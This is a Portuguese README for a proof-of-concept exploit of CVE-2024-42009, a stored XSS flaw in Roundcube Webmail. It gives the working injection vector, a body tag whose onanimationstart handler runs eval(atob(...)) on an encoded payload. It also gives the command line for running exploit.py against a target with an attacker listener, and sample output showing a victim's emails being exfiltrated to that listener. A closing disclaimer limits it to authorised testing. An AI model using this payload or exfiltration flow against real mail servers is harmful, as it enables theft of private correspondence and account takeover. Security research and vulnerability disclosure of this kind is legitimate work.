
Prova de Conceito de CVE-2024-42009
Este repositório contém um exploit de prova de conceito (PoC) para CVE-2024-42009, uma vulnerabilidade de Cross-Site Scripting (XSS) armazenada no Roundcube Webmail versão 1.6.7 e outras várias versões. O exploit demonstra como um atacante pode injetar JavaScript malicioso em uma mensagem e aproveitar um problema de desanitização ao analisar o HTML dentro da mensagem, o que pode ser usado para exfiltrar o conteúdo de e-mail da caixa de entrada da vítima neste exemplo ou até mesmo assumir o controle do navegador da vítima.
Uma vulnerabilidade de Cross-Site Scripting no Roundcube até 1.5.7 e 1.6.x até 1.6.7 permite que um atacante remoto roube e envie e-mails de uma vítima por meio de uma mensagem de e-mail maliciosa que abusa de um problema de desanitização em message_body() em program/actions/mail/show.php.
O exploit usa um gatilho de animação CSS para execução do XSS:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
O body é analisado como um div, e então precisamos nos adaptar a isso, por isso usamos o atributo onanimationstart para chamar a função eval e executar chamadas JavaScript complexas a partir dele. Para ler mais sobre como o exploit funciona e onde estão as vulnerabilidades no Roundcube, leia este artigo.
Instale os pacotes Python necessários:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ IMPORTANTE: Esta prova de conceito é fornecida apenas para fins educacionais e de teste autorizados. Use-a com responsabilidade e esta conta não se responsabiliza por quaisquer danos causados por terceiros.